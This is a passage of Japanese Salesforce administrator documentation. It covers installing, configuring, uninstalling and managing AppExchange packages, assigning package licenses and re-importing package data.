1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ユーザを選択します。
3. ユーザの詳細ページで、[モバイル転送の登録] の横にある [参照]をクリック

します。

インストール済みパッケージ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パッケージを Salesforce 組織にインストールしてから、設定および管理すること
ができます。インストールしたパッケージを表示するには、[設定] から、[クイッ
ク検索] ボックスに「インストール済み」と入力し、[インストール済みパッケー
ジ] を選択します。
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パッケージのインストール
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パッケージをインストー
ルする
• 「AppExchange パッ

ケージのダウンロー
ド」

Salesforce 組織に管理パッケージまたは未管理パッケージをインストールして、
組織に新しい機能を追加できます。パッケージへのアクセス制限を含むデフォ
ルトのパッケージ設定を変更するには、カスタムインストールを選択します。
パッケージをインストールする前に、製品に Salesforce エディションとの互換性
があることを AppExchange リストで確認してください。

インストール前の手順
1. ブラウザで、パッケージ開発者により提供されたインストール URL にアクセ

スするか、AppExchangeからパッケージをインストールする場合はアプリケー
ション情報ページから [今すぐダウンロード] をクリックします。

メモ:  Sandbox をインストールする場合は、インストールリンクの
「www.salesforce.com」の部分を「test.salesforce.com」に置き換えます。こ
のパッケージは、新しく Sandbox のコピーを作成するときに、ユーザの
Sandbox 組織から削除されます。

2. パッケージをインストールするSalesforce組織のユーザ名とパスワードを入力
し、ログインボタンをクリックします。

3. パッケージがパスワードで保護されている場合、公開者から受け取ったパス
ワードを入力します。

4. 必要に応じて、未管理パッケージをインストールする場合は [パッケージの
競合しているコンポーネントの名前を変更する]を選択します。このオプションを選択すると、既存のコン
ポーネント名と名前が競合している場合、Salesforceはパッケージ内のコンポーネントの名前を変更します。

デフォルトのインストール
[インストール]をクリックします。進行状況を示すメッセージが表示され、インストールの完了後に確認メッ
セージが表示されます。

カスタムインストール
システム管理者としてデフォルト設定を変更する必要がある場合、次の手順を実行します。
1. 必要に応じて、次の 1 つ以上のオプションを選択します。

• [コンポーネントを表示]をクリックします。パッケージ内のコンポーネントのリストがフロート表示さ
れます。管理パッケージの場合、画面には接続アプリケーション (ユーザとアプリケーションの検証後、
ユーザの Salesforce データへのアクセスが許可された信頼できるアプリケーション) のリストも表示され
ます。リストに表示されたコンポーネントとすべての接続アプリケーションが受け入れ可能であること
を確認し、フロート表示を閉じます。

メモ: 入力規則、レコードタイプ、カスタム設定など一部のパッケージアイテムは [パッケージコ
ンポーネント] リストに表示されないことがありますが、パッケージには含まれており、他のアイ
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テムと共にインストールされます。[パッケージコンポーネント] リストにアイテムがない場合、そ
のパッケージにはマイナーチェンジのみが含まれている可能性があります。

• パッケージにリモートサイト設定が含まれている場合、Salesforce以外の Web サイトへのアクセス権を承
認する必要があります。ダイアログボックスには、パッケージが通信するすべての Web サイトが表示さ
れます。データ転送を行う場合、Web サイトでセキュアソケットレイヤ (SSL) を使用することをお勧め
します。Web サイトの安全性を確認した後、[はい、これらのサードパーティ Web サイトにアクセスを
許可します]を選択し、[次へ]をクリックするか、[キャンセル]をクリックしてパッケージのインストー
ルをキャンセルします。

警告: リモートサイトの設定をインストールすると、パッケージに対し、サードパーティの Web サ
イトとの間でデータ交換する許可を与えることになります。パッケージの使用を開始する前に、ど
のようなデータが転送され、どう使用されるのか、公開者にお問い合わせください。社内にセキュ
リティ担当者がいる場合は、使用前に、アプリケーションのレビューを依頼し、影響を理解してく
ださい。

• [API アクセス]をクリックします。パッケージコンポーネントに許可されたAPIアクセス設定のリストが
フロート表示されます。設定に問題がないことを確認し、フロート表示を閉じてインストール画面に戻
ります。

• Enterprise Edition、Performance Edition、Unlimited Edition、および Developer Edition では、次のいずれかのセキュ
リティオプションを選択します。

メモ: インストールの種類によっては、このオプションが表示されないこともあります。たとえ
ば、Group Edition および Professional Edition の場合、またはパッケージにカスタムオブジェクトがない
場合は、Salesforce はこのオプションを省略して、すべてのユーザにフルアクセス権を与えます。

管理者のみのインストール
インストールを行う管理者のプロファイルおよび「アプリケーションのカスタマイズ」権限を持つ
プロファイルに次の設定を指定します。
– オブジェクト権限:「参照」、「作成」、「編集」、「削除」、「すべての参照」、「すべての編

集」を有効化
– 項目レベルセキュリティ: すべての項目を参照可および編集可に設定
– Apex クラス: 有効化
– Visualforce ページ: 有効化
– アプリケーション設定: 有効化
– タブの設定: パッケージ作成者によって設定
– ページレイアウト設定: パッケージ作成者によって設定
– レコードタイプの設定: パッケージ作成者によって設定
Enterprise Edition、Performance Edition、Unlimited Edition、または Developer Edition を使用している場合は、
インストール後、必要に応じてカスタムプロファイルに適切なユーザ権限およびオブジェクト権限
を設定します。

すべてのユーザのインストール
すべての内部カスタムプロファイルに次の設定を指定します。
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– オブジェクト権限:「参照」、「作成」、「編集」、「削除」、「すべての参照」、「すべての編
集」を有効化

– 項目レベルセキュリティ: すべての項目を参照可および編集可に設定
– Apex クラス: 有効化
– Visualforce ページ: 有効化
– アプリケーション設定: 有効化
– タブの設定: パッケージ作成者によって設定
– ページレイアウト設定: パッケージ作成者によって設定
– レコードタイプの設定: パッケージ作成者によって設定

メモ: カスタマポータルユーザ、カスタマポータルマネージャ、大規模カスタマーポータル、
認証 Web サイト、パートナーユーザ、および標準プロファイルにはアクセスがありません。

特定のプロファイルのインストール...

ユーザの組織にあるすべてのカスタムプロファイルに対して、どのアクセスを使用するかを選択で
きます。プロファイルごとに、新規パッケージとそのコンポーネントすべてに対してフルアクセス
を可能にするか、アクセス権なしにするかを設定できます。
– フルアクセス: 各プロファイルに次の設定を指定します。

• オブジェクト権限:「参照」、「作成」、「編集」、「削除」、「すべての参照」、「すべて
の編集」を有効化

• 項目レベルセキュリティ: すべての項目を参照可および編集可に設定
• Apex クラス: 有効化
• Visualforce ページ: 有効化
• アプリケーション設定: 有効化
• タブの設定: パッケージ作成者によって設定
• ページレイアウト設定: パッケージ作成者によって設定
• レコードタイプの設定: パッケージ作成者によって設定

– アクセス権限なし: すべてのオブジェクト権限が無効化されている点を除き、フルアクセスと同
じ設定を指定します。

アプリケーションの公開者がカスタムプロファイルの設定を含めた場合は、その他のオプションが
表示されることもあります。ユーザは公開者のカスタムプロファイルの設定を、自分の設定に影響
を与えることなく、自分のプロファイルに取り入れることができます。適用する必要があるプロファ
イルの横にあるドロップダウンリストから、プロファイルの設定の名前を選択します。このプロファ
イルの現在の設定は変更されません。
アクセス権の横にある [すべて設定] をクリックして、この設定をすべてのユーザプロファイルに適
用することもできます。

2. [インストール] をクリックします。進行状況を示すメッセージが表示され、インストールの完了後に確認
メッセージが表示されます。
• インストール時、Salesforce は、連動関係のチェックと確認も行います。組織は、[連動関係の表示] ペー

ジにリストされているすべての連動関係の要件を満たしている必要があります。満たしていない場合、
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インストールは失敗します。たとえば、ディビジョンを参照するパッケージをインストールするには、
ディビジョンが有効になっている必要があります。

• Apex が含まれるコンポーネントをインストールすると、新規パッケージに含まれる単体テストも含め
て、組織のすべての単体テストが実行されます。単体テストが、無効の状態でインストールされたコン
ポーネント (ワークフロールールなど) に依存する場合、単体テストは失敗します。単体テストが失敗し
た場合でも、インストールできます。

• インストールが失敗する場合は、「インストールまたはアップグレードに失敗した原因は?」 (ページ
1368)を参照してください。

インストール後の手順
パッケージにインストール後の手順が含まれている場合、インストールの完了後にその手順が表示されます。
表示された手順を確認し、実行します。さらに、ユーザにパッケージをリリースする前に、実装に必要な変更
を加えます。パッケージの内容に応じて、次のカスタマイズ手順の一部の実行が必要なことがあります。
• パッケージに権限セットが含まれる場合、必要とするユーザに含まれている権限セットを割り当てます。

管理パッケージでは、パッケージに含まれる権限セットを変更することはできません。ただし、その後の
アップロードは自動的に行われます。管理パッケージに付属する権限セットをコピーするか、独自の権限
セットを作成する場合は、権限セットに変更を行うことはできますが、後続のアップグレードに影響はあ
りません。

• パッケージを再インストールし、アンインストール後に取得したエクスポートファイルからパッケージデー
タを再インポートする場合は、「パッケージデータのインポート」 (ページ 1360)を参照します。

• 管理パッケージをインストールした場合は、[ライセンスの管理] をクリックして、ライセンスをユーザに
割り当てます。

メモ: Lightning Experience ではライセンスを割り当てることはできません。ライセンスを割り当てる必
要がある場合は、Salesforce Classic に切り替えてください。

• 必要に応じて、パッケージのコンポーネントを設定します。詳細は、「インストール済みパッケージの設
定」 (ページ 1349)を参照してください。

関連トピック:

パッケージのアップグレード
インストール済みパッケージ
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インストール済みパッケージの設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パッケージをインストー
ルする
• 「AppExchange パッ

ケージのダウンロー
ド」

インストール済みパッ
ケージを設定する
• 「アプリケーションの

カスタマイズ」

多くのコンポーネントには、エンドユーザが使用できるかどうかを制御する[リ
リース済み]属性があります。開発者の組織で使用可能であった場合は、すべて
のコンポーネントはインストール後すぐに使用できます。ユーザがパッケージ
を使用できるようにする前に、実装に必要な変更を加えます。パッケージの内
容に応じて、次の項目のカスタマイズが必要なことがあります。
オプションの設定

公開者が設定に関する情報と共に外部 Web サイトへのリンクを含めた場合
は、[インストール済みパッケージ] をクリックすると、[設定] のAppExchange

ダウンロードページのパッケージの横に、[設定]オプションが表示されます。
[設定] をクリックすると、公開者が推奨する設定を参照できます。

カスタム項目とカスタムリンク
必要なカスタム項目やカスタムリンクを、新規カスタムオブジェクトに追加
します。

カスタムオブジェクト
このパッケージには含まれていないが、Chatterで追跡されている項目を持つ
オブジェクトに対する追跡を有効に設定します。たとえば、[取引先] にある
カスタム項目を追跡する場合、その [取引先] の標準オブジェクトの追跡が有
効に設定されていることを確認する必要があります。

カスタムレポートタイプ
カスタムレポートタイプの [レポートタイプ名] が組織で使用されているも
のと同じである場合、パッケージをインストールした後に、2 つのレポート
タイプ間で混乱が生じないように、[レポートタイプ名]を変更することをお
勧めします。

ダッシュボードのレポート実行ユーザ
ダッシュボードの [実行ユーザ]は、パッケージをインストールするユーザに設定されます。ダッシュボー
ドのプロパティを編集し、[実行ユーザ] を、ダッシュボードに適用されるセキュリティ設定を持つユーザ
に変更します。

フォルダ
アプリケーションにドキュメント、メールテンプレート、レポートまたはダッシュボードが含まれる場合、
Salesforce では公開者のフォルダ名を使用してインストーラの組織に新規フォルダを作成します。これらの
フォルダ名は、組織内での一意の名前になります。
すべてのユーザが新しいフォルダを表示できます。フォルダ設定のアクセス許可に制限を付ける場合は、
リリースする前にフォルダの設定を変更します。

ホームページのページレイアウト
パッケージのカスタムホームページレイアウトは、どのユーザにも割り当てられていません。ユーザが使
用できるようにするには、該当するプロファイルにユーザを割り当てます。

リストビュー
アプリケーション内のリストビューには、すべてのユーザがアクセスできます。必要に応じて、これらの
リストビューのアクセス権を変更します。
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ページレイアウト
すべてのユーザには、パッケージ内のカスタムオブジェクトのデフォルトページレイアウトが割り当てら
れます。Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition の組織のシステム管理
者は、該当するユーザのページレイアウトを設定できます。
パッケージのカスタムオブジェクトに標準オブジェクトへのリレーションを組み込む場合は、これらを適
切なページレイアウトの関連リストとして追加します。
パッケージにカスタムリンクを含める場合、これらを適切なページレイアウトとして追加します。
組織で高度な通貨管理を有効にしている場合は、通貨積み上げ集計項目が取引先に関するもので商談値を
集計するものや、商談に関するものでカスタムオブジェクト値を集計するものであっても無効になります。
これらの項目をページレイアウトから削除してください。

権限セット
パッケージに含まれる権限セットをパッケージへのアクセス権を必要とするユーザに割り当てます。
管理パッケージに含まれる権限セットを編集することはできません。パッケージに付属する権限セットを
コピーするか、独自の権限セットを作成する場合は、権限セットに変更を行うことはできますが、後続の
アップグレードに影響はありません。

トランスレーションワークベンチ
インストール済みパッケージコンポーネントの翻訳された値も、開発者が組み込んだ言語に対応するもの
がインストールされます。カスタム項目やレコードタイプなど、開発者が設定でカスタマイズしたパッケー
ジコンポーネントは、インストーラの設定ページで開発者の言語 (コンポーネントを定義するときに使用し
た言語) で表示されます。インストーラの組織のユーザにも、個人の言語がパッケージに含まれている場合
には、自動的に翻訳された値が表示されます。また、インストーラは、トランスレーションワークベンチ
が有効であれば、それ以外の言語も有効化することができます。

ワークフローアラート
ワークフローアラートの受信者がユーザである場合、Salesforce はそのユーザをパッケージをインストール
しているユーザに置き換えます。インストール済みのワークフローアラートの受信者を変更できます。

ワークフロー項目自動更新
特定のユーザのレコード所有者項目を変更するように項目自動更新が設計されていると、Salesforce はその
ユーザをパッケージをインストールしているユーザに置き換えます。インストール済みの項目更新の項目
値を変更できます。

ワークフローアウトバウンドメッセージ
Salesforce は、[送信ユーザ] 項目に入っているユーザをパッケージをインストールしているユーザに置き換
えます。インストール後に、この値を変更できます。

ワークフロールール
ワークフロールールは、開発者が作成した時間ベースのトリガがあっても、それがない状態でインストー
ルされます。必要に応じて、時間ベースのトリガを設定します。

ワークフロー ToDo

Salesforce は、[割り当て先] 項目に入っているユーザをパッケージをインストールしているユーザに置き換
えます。インストール後に、この値を変更できます。

必要に応じて、実装をカスタマイズします。
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メモ: インストール後にカスタムアプリケーションに追加した設定は、カスタムアプリケーションをアン
インストールすると削除されます。

関連トピック:

インストール済みパッケージ
Shield Platform Encryption のトレードオフおよび制限事項

パッケージのアンインストール
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パッケージをアンインス
トールする
• 「AppExchange パッ

ケージのダウンロー
ド」

インストールしたパッケージは、そのパッケージのすべてのコンポーネントと
データを含めて削除できます。さらに、カスタム項目やリンクなど、インストー
ル後にカスタムアプリケーションに追加したすべてが同様に削除されます。
パッケージを削除する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「インストール済み」と入力し、[イ

ンストール済みパッケージ] を選択します。
2. 削除するパッケージの横にある [アンインストール] をクリックします。
3. [はい。このパッケージをアンインストールして...] を選択して、[アンイン

ストール] をクリックします。
4. アンインストール後、Salesforce は、パッケージデータと関連メモおよび添付

ファイルを含むエクスポートファイルを自動的に作成します。アンインス
トールが完了すると、Salesforce は、アンインストールを実行したユーザにエ
クスポートファイルへのリンクを含むメールを送信します。インストールし
たパッケージのリストの下に、エクスポートファイル、関連メモ、および添
付ファイルが表示されます。ファイルは、アンインストールの完了後しばら
くすると削除されてしまうため、別の場所に保存することをお勧めします。

ヒント: パッケージを後で再インストールする場合、「パッケージデー
タのインポート」 (ページ 1360)を参照して、パッケージデータを再イン
ポートします。

パッケージのアンインストールに関するメモ
• カスタムオブジェクトを含むパッケージをアンインストールすると、そのカスタムオブジェクトのコンポー

ネントもすべて削除されます。この中には、ワークフロールールや承認プロセスと共に、カスタム項目、
入力規則、Sコントロール、カスタムボタンおよびカスタムリンクが含まれます。

• パッケージのコンポーネントが、アンインストールの対象とならないコンポーネントによって参照されて
いる場合は、そのパッケージをアンインストールできません。次に例を示します。
– インストール済みパッケージに、別のコンポーネントが参照する標準オブジェクト上のコンポーネント

が組み込まれている場合、Salesforceではそのパッケージをアンインストールできません。つまり、カス
タムユーザ項目を含むパッケージをインストールし、その項目の値が特定の値である場合に適用される
ワークフロールールを作成できるということです。パッケージをアンインストールすると、ワークフ
ローが機能しません。
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– それぞれがカスタムオブジェクトを組み込んでおり、一方のカスタムオブジェクトコンポーネントがも
う一方のカスタムオブジェクトコンポーネントを参照している関連のない 2 つのパッケージをインス
トールした場合、Salesforceではそのパッケージをアンインストールできません。つまり、カスタムユー
ザ項目を含む経費申請アプリケーションをインストールして、そのカスタムユーザ項目を参照する別の
インストール済みカスタムオブジェクトで入力規則を作成できるということです。ただし、経費レポー
トアプリケーションをアンインストールすると、入力規則が機能しなくなります。

– インストール後に追加したコンポーネントがフォルダにある場合、Salesforceではそのパッケージをアン
インストールできません。

– インストールしたレターヘッドが、インストール後に追加したメールテンプレートで使用されている場
合、Salesforce ではそのパッケージをアンインストールできません。

• パッケージで追加された項目がバックグラウンドジョブで更新されている場合 (積み上げ集計項目の更新な
ど)、パッケージはアンインストールできません。バックグラウンドジョブが終了するまで待ってから、再
試行します。

• ドキュメントや数式項目の値などのコンポーネントを除く、パッケージ用のカスタムアプリケーションデー
タを含むエクスポートファイルをアンインストールします。
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インストール済みパッケージの管理
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パッケージをアンインス
トールする
• 「AppExchange パッ

ケージのダウンロー
ド」

管理パッケージのライセ
ンスを割り当てる
• 「パッケージライセン

スの管理」

アンインストールした
パッケージのエクスポー
トファイルをダウンロー
ドまたは削除する
• 「AppExchange パッ

ケージのダウンロー
ド」

ユーザへのライセンスの割り当て、パッケージのアンインストール、パッケー
ジデータのエクスポートなど、Salesforce 組織にインストールされたパッケージ
を管理します。

メモ: Salesforceは、管理パッケージのライセンス情報を一覧表示するだけで
す。未管理パッケージの場合、[許可されているライセンス数]、[使用ライ
センス]、および [有効期限] などのライセンス関連項目の値には「N/A」が
表示されます。

このリストからは、次の操作を実行できます。
• [アンインストール] をクリックすると、Salesforce 組織からパッケージとパッ

ケージのすべてのコンポーネントを削除できます。
• [ライセンスの管理] をクリックして、使用可能なライセンスを組織内のユー

ザに割り当てます。Lightning Experienceではライセンスを割り当てることはで
きません。ライセンスを割り当てる必要がある場合は、Salesforce Classic に切
り替えてください。

メモ: サイトライセンスを購入した場合や、管理パッケージがライセン
ス管理されていない場合は、組織のすべてのユーザに対してライセンス
が割り当てられ、ライセンスを管理することはできません。ユーザは、
適切な権限を持つ限り、そのパッケージを使用できます。

• 公開者が、パッケージの設定に関する情報を記載した外部 Web サイトへのリ
ンクを含めている場合は、[設定] をクリックします。

• パッケージ名をクリックすると、そのパッケージの詳細を参照できます。
• パッケージの公開者の表示します。
• このパッケージのライセンスの状況を表示します。値には、次のものがあり

ます。
– トライアル
– 有効
– サスペンド
– 期限切れ
– 無料
この項目は、パッケージが管理状態にありライセンス許可を受けている場合にのみ使用できます。

• 使用可能なライセンスの数 ([許可されているライセンス数]) と、ユーザに割り当てられたライセンスの数
([使用ライセンス]) を追跡します。

• このパッケージのライセンスの有効期限が終了する予定になっている日付を参照します。
• ライセンスがインストールされた日付を参照します。
• このパッケージに含まれるカスタムアプリケーション、タブ、オブジェクトの数を参照します。
• カスタムアプリケーション、タブ、オブジェクトが組織の制限にカウントされるかどうかを確認します。

カウントされる場合は、[制限] 列のチェックボックスがオンになります。
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メモ: ライセンスを受けた管理パッケージをインストールしていない場合、[公開者]、[状況]、[許可さ
れているライセンス数], [使用ライセンス]、および [有効期限] の項目は表示されません。

アンインストール後、Salesforceは、パッケージデータと関連メモおよび添付ファイルを含むエクスポートファ
イルを自動的に作成します。アンインストールが完了すると、Salesforceは、アンインストールを実行したユー
ザにエクスポートファイルへのリンクを含むメールを送信します。インストールしたパッケージのリストの下
に、エクスポートファイル、関連メモ、および添付ファイルが表示されます。ファイルは、アンインストール
の完了後しばらくすると削除されてしまうため、別の場所に保存することをお勧めします。このリストから
は、次の操作を実行できます。
• [ダウンロード] をクリックすると、エクスポートファイルを開くか、保存できます。
• [削除] をクリックすると、エクスポートファイルを削除できます。
期限切れの管理パッケージと共有ルール

条件に基づく共有ルールで、ライセンスが期限切れになったライセンス付き管理パッケージの項目を参照
すると、項目の表示ラベルに (expired)が追加されます。項目の表示ラベルは、[設定] のルール定義ペー
ジの [項目] ドロップダウンリストに表示されます。期限切れの項目を参照する条件に基づく共有ルールは
再適用されず、そのルールに基づいて新しいレコードが共有されることはありません。ただし、パッケー
ジが期限切れになる前の既存のレコードの共有は保持されます。

関連トピック:

インストール済みパッケージの詳細の参照
パッケージデータのインポート
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インストール済みパッケージの詳細の参照

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パッケージをアンインス
トールする
• 「AppExchange パッ

ケージのダウンロー
ド」

AppExchange パッケージ
のユーザライセンスを管
理する
• 「パッケージライセン

スの管理」

AppExchange からインストールされたパッケージに関する主要な詳細情報 (パッ
ケージで使用されるカスタムアプリケーション、タブ、オブジェクトの数など)

を参照できます。ユーザへのライセンスの割り当て、パッケージのアンインス
トール、パッケージの購入もできます。
パッケージの詳細ページにアクセスするには、[設定] から、[クイック検索]ボッ
クスに「インストール済みパッケージ」と入力し、[インストール済みパッケージ]

を選択して、表示するパッケージの名前をクリックします。
このページでは、次の操作を実行できます。
• [アンインストール] をクリックすると、Salesforce 組織からパッケージとパッ

ケージのすべてのコンポーネントを削除できます。
• [ライセンスの管理] をクリックして、使用可能なライセンスを組織内のユー

ザに割り当てます。Lightning Experienceではライセンスを割り当てることはで
きません。ライセンスを割り当てる必要がある場合は、Salesforce Classic に切
り替えてください。

メモ: サイトライセンスを購入した場合や、管理パッケージがライセン
ス管理されていない場合は、組織のすべてのユーザに対してライセンス
が割り当てられ、ライセンスを管理することはできません。ユーザは、
適切な権限を持つ限り、そのパッケージを使用できます。

• [連動関係を参照] をクリックすると、パッケージ内の他のコンポーネント、
権限、または設定と連動しているコンポーネントのリストを確認できます。

インストール済みパッケージの参照
インストール済みパッケージのページには、次のパッケージ属性がアルファベッ
ト順に表示されます。

説明属性

次のオプションのいずれかを実行できます。アクション
• アンインストール
• ライセンスの管理

このパッケージ用に購入したライセンスの合計数。サ
イトライセンスを購入した場合、値は「Unlimited」に

許可されているライセンス数

なります。この項目は、パッケージが管理状態にあり
ライセンス許可を受けている場合にのみ使用できま
す。

パッケージに含まれるカスタムアプリケーションの
数。

アプリケーション
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説明属性

ユーザとアプリケーションの検証後、ユーザの
Salesforceデータへのアクセスが許可された接続アプリ
ケーションのリスト。

接続アプリケーション

パッケージの詳細説明。説明

購入したライセンスの条件に基づくライセンスの有効
期限。パッケージに有効期限がない場合、値は「有効

有効期限

期限はありません」になります。この項目は、パッ
ケージが管理状態にありライセンス許可を受けている
場合にのみ使用できます。

パッケージのインストール日。インストール日

オンの場合は、組織の制限にカウントされる、パッ
ケージのカスタムアプリケーション、タブ、オブジェ
クト。

制限

AppExchange上にあるパッケージとそのコンテンツを、
他の開発者のパッケージと区別するための 1 ～ 15 文
字の英数字で構成される識別子。

名前空間

パッケージに含まれるカスタムオブジェクトの数。オブジェクト

公開者が付けたパッケージの名前。パッケージ名

AppExchange リストの公開者とは、リストを公開した
Salesforce ユーザまたは組織です。この項目は、パッ

公開者

ケージが管理状態にありライセンス許可を受けている
場合にのみ使用できます。

パッケージの状況。値には、次のものがあります。状況
• トライアル
• 有効
• サスペンド
• 期限切れ
• 無料
この項目は、パッケージが管理状態にありライセンス
許可を受けている場合にのみ使用できます。

パッケージに含まれるカスタムタブの数。タブ

すでにユーザに割り当てられているライセンスの合計
数。この項目は、パッケージが管理状態にありライセ
ンス許可を受けている場合にのみ使用できます。

使用ライセンス
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説明属性

このパッケージバージョンのバージョン名。バージョ
ン名は、パッケージの特定のリリースのマーケティン

バージョン名

グ名です。[Version Number]よりも、内容がわか
るようになっています。

インストール済みパッケージの詳細の参照
インストール済みパッケージの詳細ページには、次のパッケージ属性がアルファベット順に表示されます。

説明属性

パッケージに含まれるカスタムアプリケーションの
数。

アプリケーション

パッケージの詳細説明。説明

組織に最初にインストールされたパッケージのバー
ジョン。この項目は、管理パッケージでのみ表示され

最初のインストール済みバージョン番号

ます。ユーザは、このバージョンとその後インストー
ルしたパッケージのバージョンを参照できます。管理
パッケージの問題を報告する場合、公開者には、この
項目のバージョン番号も含めて連絡してください。

組織にこのパッケージをインストールしたユーザの名
前。

インストール実行者

オンの場合は、組織の制限にカウントされる、パッ
ケージのカスタムアプリケーション、タブ、オブジェ
クト。

制限

このパッケージを最後に更新したユーザの名前、およ
び更新日時。

更新者

AppExchange上にあるパッケージとそのコンテンツを、
他の開発者のパッケージと区別するための 1 ～ 15 文
字の英数字で構成される識別子。

名前空間

パッケージに含まれるカスタムオブジェクトの数。オブジェクト

公開者が付けたパッケージの名前。パッケージ名

管理パッケージまたは未管理パッケージのどちらであ
るかを示します。

パッケージ種別

インストール後のパッケージの設定に関する情報への
リンク。パッケージの情報を個別に更新できるように

インストール後の手順

するため、このリンクが外部 URL を指し示すようにす
ることをお勧めします。
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説明属性

AppExchange リストの公開者とは、リストを公開した
Salesforceユーザまたは組織のことです。この項目は、

公開者

パッケージが管理状態にありライセンス許可を受けて
いる場合にのみ使用できます。

パッケージのリリースノートへのリンク。リリース前
に情報を利用したり、パッケージの情報を個別に更新

リリースノート

できるようにするため、このリンクが外部 URL を指し
示すようにすることをお勧めします。

パッケージに含まれるカスタムタブの数。タブ

このパッケージバージョンのバージョン名。バージョ
ン名は、パッケージの特定のリリースのマーケティン

バージョン名

グ名です。[Version Number]よりも、内容がわか
るようになっています。

最新のインストール済みパッケージバージョンのバー
ジョン番号。形式は、

バージョン番号

majorNumber.minorNumber.patchNumberです (例:

2.1.3)。バージョン番号は、パッケージのリリースを示
します。[Version Name] は、リリースの内容がわ
かるようになっています。patchNumber は、パッチ
を作成した場合にのみ生成されます。patchNumber

がない場合は、ゼロ (0) とみなされます。

未使用のコンポーネント
現在のバージョンのパッケージで開発者によって削除されたコンポーネントのリストを表示できます。この項
目は、管理パッケージの一部である場合は使用されなくなるため、カスタムインテグレーションで使用されて
いなければ削除しても問題ありません。カスタム項目を削除する前に、[設定] から [クイック検索] ボックス
に「データのエクスポート」と入力し、[データのエクスポート] を選択すると、データレコードを保持できま
す。未使用のコンポーネントは、削除後、このリストに 15 日間表示されます。この期間中は、項目および項
目に保存されているすべてのデータを復元したり、項目を完全に削除したりできます。項目を復元するとき
に、項目のプロパティの一部が損失あるいは変更されることがあります。15 日を過ぎると、項目とそのデータ
は完全に削除されます。
次のコンポーネント情報がアルファベット順に表示されます。

説明属性

次のオプションのいずれかを実行できます。アクション
• 復元
• 削除
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説明属性

コンポーネントの名前が表示されます。名前

コンポーネントが関連付けられている親オブジェクト
の名前が表示されます。たとえば、カスタムオブジェ
クトはカスタム項目の親です。

親オブジェクト

コンポーネントの種類が表示されます。種類

パッケージコンポーネント
インストール済みパッケージに含まれているコンポーネントのリストを参照できます。次のコンポーネント情
報がアルファベット順に表示されます。

説明属性

次のオプションのいずれかを実行できます。アクション
• 復元
• 削除

コンポーネントの名前が表示されます。名前

コンポーネントが関連付けられている親オブジェクト
の名前が表示されます。たとえば、カスタムオブジェ
クトはカスタム項目の親です。

親オブジェクト

コンポーネントの種類が表示されます。種類

関連トピック:

パッケージデータのインポート
インストール済みパッケージの管理
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パッケージデータのインポート

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Force.com AppExchange
パッケージデータをイン
ポートする
• 選択したインポート

ウィザードやデータ
ローダなどのインポー
トツールの使用に必要
な権限

AppExchangeパッケージをアンインストールすると、Salesforceは、パッケージデー
タと関連メモおよび添付ファイルを含むエクスポートファイルを自動的に作成
します。そのパッケージを再インストールする場合に、このデータをインポー
トできます。
AppExchange パッケージデータをインポートするには、お使いのエディションで
使用可能な次のツールのいずれかを使用してください。
• Group Edition の場合は、該当するインポートウィザードを使用します。
• Professional Edition の場合は、適切なインポートウィザードか、互換性のある

Salesforce ISV パートナーインテグレーションツールを使用します。
• Enterprise Edition、Developer Edition、Performance Edition、および Unlimited Edition の

場合は、データローダを使用します。

AppExchange パッケージデータのインポートに関するメモ
• Salesforceは、エクスポート時に日付項目を日付/時間項目に変換します。該当

する項目を日付項目に変換してからインポートしてください。
• Salesforce は、グリニッジ標準時間 (GMT) に基づいてすべての日付/時間項目を

エクスポートします。これらの項目をインポートする前に、適切なタイム
ゾーンに変換してください。

• 自動採番項目の値は、インポートするときに変わることがあります。元の値
を維持するには、カスタムオブジェクトで新しいカスタム自動採番項目を作
成してからデータをインポートしてください。

• Salesforce は、インポートするときに、[作成日] や [最終更新日] などのシス
テム項目を更新します。これらの項目の元の値を維持するには、Salesforce サポートにお問い合わせくださ
い。

• リレーションはエクスポートファイルに含まれません。主従関係または参照関係は、個人データをインポー
トした後に改めて作成してください。

• レコードタイプ ID はエクスポートはされますが、レコードタイプ名はエクスポートされません。
• 項目の履歴はエクスポートされません。
• パッケージに対して行ったカスタマイズ設定は、インストール後に改めて作成してください。

関連トピック:

インストール済みパッケージの詳細の参照
インストール済みパッケージの管理
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インストール済みパッケージのライセンス管理
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

AppExchange パッケージ
のライセンスを管理する
• 「パッケージライセン

スの管理」

ライセンス付き管理パッケージを AppExchange から組織にインストールすると
き、パッケージの開発者または公開者から一定数のライセンスを購入します。
組織内のユーザに各ライセンスを割り当てることができます。使用可能なライ
センスをすべて割り当ててしまったものの、その他のユーザにもライセンスを
許可したい場合、ライセンスの再割り当てを行うか、ライセンスを追加購入し
ます。ライセンスの追加購入については、管理パッケージの公開者にお問い合
わせください。

メモ: サイトライセンスを購入した場合や、管理パッケージがライセンス
管理されていない場合は、組織のすべてのユーザに対してライセンスが割
り当てられ、ライセンスを管理することはできません。ユーザは、適切な
権限を持つ限り、そのパッケージを使用できます。

